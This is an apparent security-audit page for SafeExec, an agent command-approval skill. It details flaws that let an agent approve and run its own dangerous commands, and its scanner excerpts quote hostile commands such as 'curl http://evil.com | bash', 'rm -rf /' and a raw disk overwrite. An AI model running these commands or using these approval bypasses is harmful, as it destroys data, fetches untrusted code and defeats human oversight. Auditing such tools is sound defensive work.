Safe Exec

• Outcome: Review
• Latest audit: Sep 10, 2026 · 7:48 AM UTC
• Version: 0.3.4

Overview

SafeExec is a local command-approval skill, but its own scripts can bypass or weaken the approval boundary for dangerous shell commands.

Review this carefully before installing. It is local and I did not find hidden network exfiltration or background monitoring, but it should not be relied on as a safety boundary for agent command execution until approval, request validation, command parsing, and log-permission issues are fixed.

A.I.G

Vulnerability Patterns

• Unauthorized Access and Privilege Escalation: Obtains permissions beyond the task's legitimate needs
• Insecure Skill Coding Practices: Finds exploitable flaws such as hardcoded secrets or command injection
• Skill Instruction Hijacking: Alters the agent's session goals or safety constraints when the skill loads
• Agent Memory Poisoning: Writes attacker-controlled rules into memory that affect later sessions
• Remote Payload Retrieval and Execution: Fetches external code whose behavior can change after review

Findings (5)

T09 · Insecure Skill Coding Practices

Error

• Location: scripts/safe-exec.sh:175

Finding

Dangerous commands bypass approval because unknown shell syntax defaults to LOW risk

Content

View full analysis

[[:space:]]*/dev/sd[a-z]'; then risk="critical" reason="直接写入磁盘" elif echo "$cmd" | grep -qE 'chmod[[:space:]]+777'; then risk="high" reason="设置文件为全局可写" elif echo "$cmd" | grep -qE '>[[:space:]]*/(etc|boot|sys|root)/'; then risk="high" reason="写入系统目录" elif echo "$cmd" | grep -qE '(curl|wget).*|[[:space:]]*(bash|sh|python)'; then risk="high" reason="管道下载到shell" elif echo "$cmd" | grep -qE 'sudo[[:space:]]+'; then risk="medium" reason="使用特权执行" elif echo "$cmd" | grep -qE 'iptables|firewall-cmd|ufw'; then risk="medium" reason="修改防火墙规则" fi echo "{\"risk\":\"$risk\",\"reason\":\"$reason\"}" } ``` ```bash if [[ "$risk" == "low" ]]; then log_audit "allowed" "{\"command\":$(echo "$command" | jq -Rs .),\"risk\":\"low\"}" eval "$command" exit $? fi ``` ### Technical Analysis The classifier is a denylist that initializes every command as `low`. Only a few exact textual patterns increase the risk level. Any destructive command whose spelling does not match those expressions remains LOW and is passed directly to `eval`. The regular ...[truncated 1343 chars]

Remediation

View remediation

T09 · Insecure Skill Coding Practices

Error

• Location: scripts/safe-exec.sh:295

Finding

Caller-controlled context phrases automatically authorize HIGH-risk commands

Content

View full analysis

Remediation

View remediation

T05 · Unauthorized Access and Privilege Escalation

Error

• Location: scripts/safe-exec-approve.sh:27

Finding

Non-interactive approval automatically executes queued dangerous commands

Content

View full analysis

"$REQUEST_FILE.tmp" && mv "$REQUEST_FILE.tmp" "$REQUEST_FILE" echo "✅ 执行中..." eval "$COMMAND" exit_code=$? ``` ### Technical Analysis The approval utility initializes `IS_INTERACTIVE` to false and enables it only when standard input is a TTY. Consequently, every invocation from an agent, pipeline, scheduler, service, or other non-TTY process automatically skips confirmation. The two environment variables further force non-interactive behavior, but they are not required to trigger the bypass. The script marks the request approved and executes it even though no human approval occurred. This breaks the project's central security boundary: the same automated agent that creates a dangerous pending request can invoke the approval utility and execute that request. ### Attack Path 1. The agent submits a command recognized as HIGH or CRITICAL. 2. SafeExec stores the command as a pending JSON request. 3. The agent obtains the request ID from output or the pending-request list. 4. The agent invokes `safe-exec-approve ` without a TTY. 5. The utility automatically skips confirmation. 6. The queued command is marked approved and executed through `eval`. ### Impact Assessment An automated caller can execute any queued command wi ...[truncated 270 chars]

Remediation

View remediation

T09 · Insecure Skill Coding Practices

Error

• Location: scripts/safe-exec-approve.sh:4

Finding

Unvalidated request IDs allow path traversal to attacker-crafted command files

Content

View full analysis

" echo "" echo "查看待处理的请求:" echo " ls ~/.openclaw/safe-exec/pending/" exit 1 fi REQUEST_FILE="$PENDING_DIR/$REQUEST_ID.json" if [[ ! -f "$REQUEST_FILE" ]]; then echo "❌ 请求 $REQUEST_ID 不存在" exit 1 fi COMMAND=$(jq -r '.command' "$REQUEST_FILE") RISK=$(jq -r '.risk' "$REQUEST_FILE") ``` ```bash jq '.status = "approved"' "$REQUEST_FILE" > "$REQUEST_FILE.tmp" && mv "$REQUEST_FILE.tmp" "$REQUEST_FILE" echo "✅ 执行中..." eval "$COMMAND" exit_code=$? rm "$REQUEST_FILE" ``` ### Technical Analysis `REQUEST_ID` is concatenated directly into a filesystem path without format validation, canonicalization, containment verification, symlink rejection, or ownership checks. Values containing `../` can resolve outside the pending directory while still ending in `.json`. If the resolved file contains a valid JSON `command` property, the script extracts that property and sends it to `eval`. In a non-interactive invocation, the separate confirmation weakness also causes execution without user input. The same unvalidated path construction is present in the `--approve` path in `scripts/safe-exec.sh:350-357`. ### Attack Path 1. An attacker able to write a JSON file at a path reachable from the user's SafeExec directory creates content such as a `command` property containing a shell payload. 2. The attacker supplies a traversal-based request ID that resolves to that file after the script appends `.json`. 3. The `-f` check succeeds because the traversed target exists. 4. `jq` extracts the attacker-controlled command. 5. The approval script is invoked without a TTY, ...[truncated 474 chars]

Remediation

View remediation

T09 · Insecure Skill Coding Practices

Warning

• Location: scripts/safe-exec.sh:220

Finding

Commands and user context are persisted without restrictive permissions or secret redaction

Content

View full analysis

"$PENDING_DIR/$request_id.json" log_audit "approval_requested" "{\"requestId\":\"$request_id\",\"command\":$(echo "$command" | jq -Rs .),\"risk\":\"$risk\",\"reason\":\"$reason\"}" ``` ```bash log_audit "context_aware_downgrade" "{\"originalRisk\":\"critical\",\"newRisk\":\"medium\",\"reason\":\"用户确认关键词\",\"context\":$(echo "$USER_CONTEXT" | jq -Rs .)}" ``` ```bash log_audit "context_aware_allowed" "{\"originalRisk\":\"high\",\"newRisk\":\"low\",\"reason\":\"用户确认关键词\",\"context\":$(echo "$USER_CONTEXT" | jq -Rs .)}" ``` ```bash log_audit "allowed" "{\"command\":$(echo "$command" | jq -Rs .),\"risk\":\"low\"}" ``` ### Technical Analysis Pending requests store complete command strings, and the audit log stores complete commands and, in some paths, the full user context. Shell commands commonly contain access tokens, passwords, private URLs, database connection strings, file paths, or other confidential values. The script does not set `umask 077`, explicitly create directories with mode `0700`, or create files with mode `0600`. Access therefore depends on the caller's ambient umask and pre-existing filesystem permissions. No secret detection or redaction is applied before persistence. ### Attack Path 1. A user or agent executes a command containing a secret in an argument, URL, header, or environment assignment. 2. SafeExec records the complete command in a pending request or audit entry. 3. Alternatively, sensitive conversation content is stored through `SAFEXEC_CONTEXT`. 4. Another local user, compromised pr ...[truncated 546 chars]

Remediation

View remediation

SkillSpector

Vulnerability Patterns

• Prompt Injection: Instruction Override, Hidden Instructions, Exfiltration Commands
• Supply Chain: Unpinned Dependencies, External Script Fetching, Obfuscated Code
• Tool Misuse: Tool Parameter Abuse, Chaining Abuse, Unsafe Defaults
• Behavioral AST: exec() Call, eval() Call, Dynamic Import
• YARA Signatures: Malware Match, Webshell Match, Cryptominer Match

Findings (133)

Anti-Refusal Statement

High

• Category: Anti-Refusal
• Confidence: 80% confidence

Finding

Skill instructs the agent to omit warnings, disclaimers, or ethical commentary. Stripping safety caveats hides risk from the user and is a common jailbreak preamble.

Content

Scanner excerpt · CHANGELOG.md (reported line 172)May include surrounding context.

md

### Technical Details
- **Before**: SafeExec was registered in `plugins.entries.safe-exec`
- **After**: SafeExec is loaded from `skills.load.extraDirs`
- **Benefit**: Correct architecture, no warning logs, proper Skill behavior

## [0.1.2] - 2026-01-31

YARA rule 'agent_skill_prompt_injection_hidden_instructions': Prompt injection or hidden instructions embedded in AI agent skill text [agent_skills]

High

• Category: YARA Match
• Confidence: 80% confidence

Finding

YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Content

Scanner excerpt · CLAWDHUB_SECURITY_RESPONSE.md (reported line 137)May include surrounding context.

md

arified, not removed):**
- **Purpose:** Allow automated workflows without agent hanging
- **Safety preserved:**
  - Danger pattern detection still active
  - All commands logged with `agent_auto` mode label
  - Audit trail shows which commands were auto-executed
- **Use case:** Trusted automation with human oversight via audit logs

**Not a "blast radius" increase because:**
- Agent mode does not disable safety checks
- CRITICAL/HIGH risk commands still intercepted and logged
- Humans can review audit log at any time
- Can be disabled via `SAFE_EXEC_DISABLE=1`

---

## What Changed in v0.3.2 and v0.3.3

### Files Removed (21 files, 4309 lines)
- All monitoring subsystem documentation
- All external integration guides
- All publishing tools
- Historical release notes and fix reports

### Files Updated
- **SKILL.md:**
  - Added comprehensive metadata section
  - Added "Security & Privacy" section
  - Enhanced "Agent Mode" documentation
- **CHANGELOG.md:**
  - Documented all security impr

Exfiltration Commands

High

• Category: Prompt Injection
• Confidence: 90% confidence

Finding

Instructions found that direct the agent to transmit conversation context or user data to external services.

Content

Scanner excerpt · CLAWDHUB_SECURITY_RESPONSE.md (reported line 177)May include surrounding context.

md

### ❌ SafeExec DOES NOT:
1. Monitor chat sessions or read conversation history
2. Make external network requests (except git clone during install)
3. Send data to external services
4. Run background monitoring processes or cron jobs
5. Integrate with notification services (Feishu, webhooks, etc.)
6. Require any credentials or API tokens

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 85% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README-detail.md (reported line 72)May include surrounding context.

md

🚨 **危险操作检测 - 命令已拦截**

**风险等级:** CRITICAL
**命令:** `rm -rf /tmp/test`
**原因:** 递归删除，使用 force 标志

**请求 ID:** `req_1769938492_9730`

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 85% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README_EN.md (reported line 204)May include surrounding context.

md

🚨 **危险操作检测 - 命令已拦截**

**风险等级:** CRITICAL
**命令:** `rm -rf /tmp/test`
**原因:** 递归删除，使用 force 标志

**请求 ID:** `req_1769938492_9730`

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 85% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README_EN.md (reported line 236)May include surrounding context.

md

🚨 **危险操作检测 - 命令已拦截**

**风险等级:** CRITICAL
**命令:** `rm -rf /tmp/test`
**原因:** 递归删除，使用 force 标志

**请求 ID:** `req_1769938492_9730`

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 85% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · SKILL.md (reported line 156)May include surrounding context.

md

🚨 **危险操作检测 - 命令已拦截**

**风险等级:** CRITICAL
**命令:** `rm -rf /tmp/test`
**原因:** 递归删除，使用 force 标志

**请求 ID:** `req_1769938492_9730`

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 90% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README-detail.md (reported line 72)May include surrounding context.

md

🚨 **危险操作检测 - 命令已拦截**

**风险等级:** CRITICAL
**命令:** `rm -rf /tmp/test`
**原因:** 递归删除，使用 force 标志

**请求 ID:** `req_1769938492_9730`

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 90% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README_EN.md (reported line 97)May include surrounding context.

md

🚨 **危险操作检测 - 命令已拦截**

**风险等级:** CRITICAL
**命令:** `rm -rf /tmp/test`
**原因:** 递归删除，使用 force 标志

**请求 ID:** `req_1769938492_9730`

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 90% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README_EN.md (reported line 137)May include surrounding context.

md

🚨 **危险操作检测 - 命令已拦截**

**风险等级:** CRITICAL
**命令:** `rm -rf /tmp/test`
**原因:** 递归删除，使用 force 标志

**请求 ID:** `req_1769938492_9730`

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 90% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README_EN.md (reported line 204)May include surrounding context.

md

🚨 **危险操作检测 - 命令已拦截**

**风险等级:** CRITICAL
**命令:** `rm -rf /tmp/test`
**原因:** 递归删除，使用 force 标志

**请求 ID:** `req_1769938492_9730`

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 90% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README_EN.md (reported line 236)May include surrounding context.

md

🚨 **危险操作检测 - 命令已拦截**

**风险等级:** CRITICAL
**命令:** `rm -rf /tmp/test`
**原因:** 递归删除，使用 force 标志

**请求 ID:** `req_1769938492_9730`

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 90% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · SKILL.md (reported line 156)May include surrounding context.

md

🚨 **危险操作检测 - 命令已拦截**

**风险等级:** CRITICAL
**命令:** `rm -rf /tmp/test`
**原因:** 递归删除，使用 force 标志

**请求 ID:** `req_1769938492_9730`

External Script Fetching

High

• Category: Supply Chain
• Confidence: 90% confidence

Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · README-detail.md (reported line 122)May include surrounding context.

md

- `chmod 777` - 设置全局可写权限
- `curl | bash` - 管道下载到 shell
- 写入 `/etc/`, `/boot/`, `/sys/` - 系统目录修改
- `wget | sh` - 下载并执行脚本

#### 🟡 MEDIUM（中危）

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 91% confidence

Finding

This is the exact destructive reset command against ~/.openclaw/safe-exec/. While scoped to the tool directory, it still enables easy deletion of safety state and records and can undermine auditability and pending-review protections.

Content

Scanner excerpt · README-detail.md (reported line 417)May include surrounding context.

A: 删除数据文件：

bash

rm -rf ~/.openclaw/safe-exec/
rm ~/.openclaw/safe-exec-*

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 91% confidence

Finding

This is the exact destructive reset command against ~/.openclaw/safe-exec/. While scoped to the tool directory, it still enables easy deletion of safety state and records and can undermine auditability and pending-review protections.

Content

Scanner excerpt · README-detail.md (reported line 417)May include surrounding context.

A: 删除数据文件：

bash

rm -rf ~/.openclaw/safe-exec/
rm ~/.openclaw/safe-exec-*

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 89% confidence

Finding

The wildcard delete command removes matching SafeExec files without clearly enumerating what will be lost. Broad deletion guidance in troubleshooting can erase logs, configuration, or tracking files and reduce the integrity of the safety system.

Content

Scanner excerpt · README-detail.md (reported line 418)May include surrounding context.

A: 删除数据文件：

bash

rm -rf ~/.openclaw/safe-exec/
rm ~/.openclaw/safe-exec-*

最佳实践

External Script Fetching

High

• Category: Supply Chain
• Confidence: 90% confidence

Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · README.md (reported line 39)May include surrounding context.

md

| 🔴 **CRITICAL** | `mkfs.*` | 格式化文件系统 |
| 🔴 **CRITICAL** | Fork bomb | 系统 DoS |
| 🟠 **HIGH** | `chmod 777` | 权限提升 |
| 🟠 **HIGH** | `curl \| bash` | 代码注入 |
| 🟠 **HIGH** | 写入 `/etc/` | 系统配置篡改 |
| 🟡 **MEDIUM** | `sudo` | 特权操作 |
| 🟡 **MEDIUM** | 防火墙修改 | 网络暴露 |

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 85% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README-detail.md (reported line 108)May include surrounding context.

md

AI Agents are powerful assistants, but they can also cause serious damage:

- 💥 **Data Deletion** - A simple "clean temp files" might become `rm -rf /`
- 🔥 **System Destruction** - "Optimize disk" might execute `dd if=/dev/zero of=/dev/sda`
- 🚪 **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash`

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 85% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README.md (reported line 18)May include surrounding context.

md

AI Agents are powerful assistants, but they can also cause serious damage:

- 💥 **Data Deletion** - A simple "clean temp files" might become `rm -rf /`
- 🔥 **System Destruction** - "Optimize disk" might execute `dd if=/dev/zero of=/dev/sda`
- 🚪 **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash`

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 85% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README.md (reported line 34)May include surrounding context.

md

AI Agents are powerful assistants, but they can also cause serious damage:

- 💥 **Data Deletion** - A simple "clean temp files" might become `rm -rf /`
- 🔥 **System Destruction** - "Optimize disk" might execute `dd if=/dev/zero of=/dev/sda`
- 🚪 **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash`

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 85% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README_EN.md (reported line 15)May include surrounding context.

md

AI Agents are powerful assistants, but they can also cause serious damage:

- 💥 **Data Deletion** - A simple "clean temp files" might become `rm -rf /`
- 🔥 **System Destruction** - "Optimize disk" might execute `dd if=/dev/zero of=/dev/sda`
- 🚪 **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash`

Tool Parameter Abuse

High

• Category: Tool Misuse
• Confidence: 85% confidence

Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README_EN.md (reported line 31)May include surrounding context.

md

AI Agents are powerful assistants, but they can also cause serious damage:

- 💥 **Data Deletion** - A simple "clean temp files" might become `rm -rf /`
- 🔥 **System Destruction** - "Optimize disk" might execute `dd if=/dev/zero of=/dev/sda`
- 🚪 **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash`

External Script Fetching

High

• Category: Supply Chain
• Confidence: 90% confidence

Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · README.md (reported line 20)May include surrounding context.

md

- 💥 **Data Deletion** - A simple "clean temp files" might become `rm -rf /`
- 🔥 **System Destruction** - "Optimize disk" might execute `dd if=/dev/zero of=/dev/sda`
- 🚪 **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash`

**SafeExec was built to solve exactly these problems.**

External Script Fetching

High

• Category: Supply Chain
• Confidence: 90% confidence

Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · README_EN.md (reported line 17)May include surrounding context.

md

- 💥 **Data Deletion** - A simple "clean temp files" might become `rm -rf /`
- 🔥 **System Destruction** - "Optimize disk" might execute `dd if=/dev/zero of=/dev/sda`
- 🚪 **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash`

**SafeExec was built to solve exactly these problems.**